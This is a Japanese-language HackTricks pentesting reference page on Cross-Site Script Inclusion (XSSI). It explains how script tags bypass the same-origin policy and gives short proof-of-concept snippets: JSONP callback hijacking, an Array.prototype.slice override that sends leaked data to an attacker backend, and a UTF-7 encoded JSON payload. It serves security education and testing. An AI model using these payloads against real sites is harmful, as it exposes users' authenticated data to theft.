hacktricks/pentesting-web/xssi-cross-site-script-inclusion.md

8.8 KiB
Raw Blame History

XSSI (Cross-Site Script Inclusion)

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

基本情報

クロスサイトスクリプトインクルージョン (XSSI) は、HTMLの script タグの性質から生じる脆弱性です。ほとんどのリソースが 同一オリジンポリシー (SOP) の対象であるのに対し、スクリプトは異なるドメインから含めることができます。この動作は、異なるサーバーにホストされているライブラリや他のリソースの使用を促進することを目的としていますが、同時に潜在的なセキュリティリスクも引き起こします。

XSSI の主な特徴:

  • SOPのバイパス: スクリプトは 同一オリジンポリシー から免除されており、異なるドメイン間で含めることができます。
  • データの露出: 攻撃者はこの動作を利用して、script タグを介して読み込まれたデータを読み取ることができます。
  • 動的JavaScript/JSONPへの影響: XSSI は特に動的JavaScriptや JSON with Padding (JSONP) に関連しています。これらの技術は、認証のために「環境権限」情報(クッキーなど)を使用することがよくあります。異なるホストへのスクリプトリクエストが行われると、これらの資格情報(例:クッキー)が自動的にリクエストに含まれます。
  • 認証トークンの漏洩: 攻撃者がユーザーのブラウザを騙して、自分が制御するサーバーからスクリプトをリクエストさせることができれば、これらのリクエストに含まれる機密情報にアクセスできる可能性があります。

タイプ

  1. 静的JavaScript - これはXSSIの従来の形式を表します。
  2. 認証付き静的JavaScript - このタイプは、アクセスするために認証が必要であるため、特異です。
  3. 動的JavaScript - コンテンツを動的に生成するJavaScriptを含みます。
  4. 非JavaScript - JavaScriptを直接含まない脆弱性を指します。

以下の情報は https://www.scip.ch/en/?labs.20160414 の要約です。詳細については確認してください。

通常のXSSI

このアプローチでは、プライベート情報がグローバルにアクセス可能なJavaScriptファイルに埋め込まれています。攻撃者は、ファイルの読み取り、キーワード検索、または正規表現などの方法を使用してこれらのファイルを特定できます。特定されたら、プライベート情報を含むスクリプトを悪意のあるコンテンツに含めることができ、機密データへの不正アクセスを可能にします。以下に例示される悪用技術があります:

<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>

Dynamic-JavaScript-based-XSSI and Authenticated-JavaScript-XSSI

これらのタイプのXSSI攻撃は、ユーザーのリクエストに応じて機密情報が動的にスクリプトに追加されることを含みます。検出は、クッキーありとなしでリクエストを送信し、レスポンスを比較することで行うことができます。情報が異なる場合、機密情報が存在する可能性を示すことがあります。このプロセスは、DetectDynamicJS Burp拡張機能のようなツールを使用して自動化できます。

機密データがグローバル変数に保存されている場合、通常のXSSIで使用されるのと同様の方法を使用して悪用することができます。ただし、機密データがJSONPレスポンスに含まれている場合、攻撃者はコールバック関数をハイジャックして情報を取得することができます。これは、グローバルオブジェクトを操作するか、JSONPレスポンスによって実行される関数を設定することで行うことができます。以下に示します:

<script>
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

グローバル名前空間に存在しない変数に対しては、prototype tamperingが時々悪用されることがあります。この技術は、呼び出されたプロパティを見つけるためにプロトタイプチェーンをたどるコード解釈を含むJavaScriptの設計を利用します。Arraysliceのような特定の関数をオーバーライドすることで、攻撃者は非グローバル変数にアクセスし、漏洩させることができます:

Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};

さらなる攻撃ベクターの詳細は、セキュリティ研究者 Sebastian Lekies の研究に見られ、彼は ベクター のリストを維持しています。

Non-Script-XSSI

寺田武の研究は、CSVなどのNon-Scriptファイルがscriptタグのソースとして含まれることによって、クロスオリジンで漏洩する別の形のXSSIを紹介しています。2006年のジェレミー・グロスマンによる完全なGoogleアドレス帳を読み取る攻撃や、2007年のジョー・ウォーカーによるJSONデータ漏洩など、XSSIの歴史的な事例は、これらの脅威の深刻さを浮き彫りにしています。さらに、ギャレス・ヘイズは、特定のブラウザで効果的なJSON形式を逃れるためにUTF-7エンコードされたJSONを使用してスクリプトを実行する攻撃のバリアントを説明しています。

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>

{% hint style="success" %} AWSハッキングを学び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践するHackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする
{% endhint %}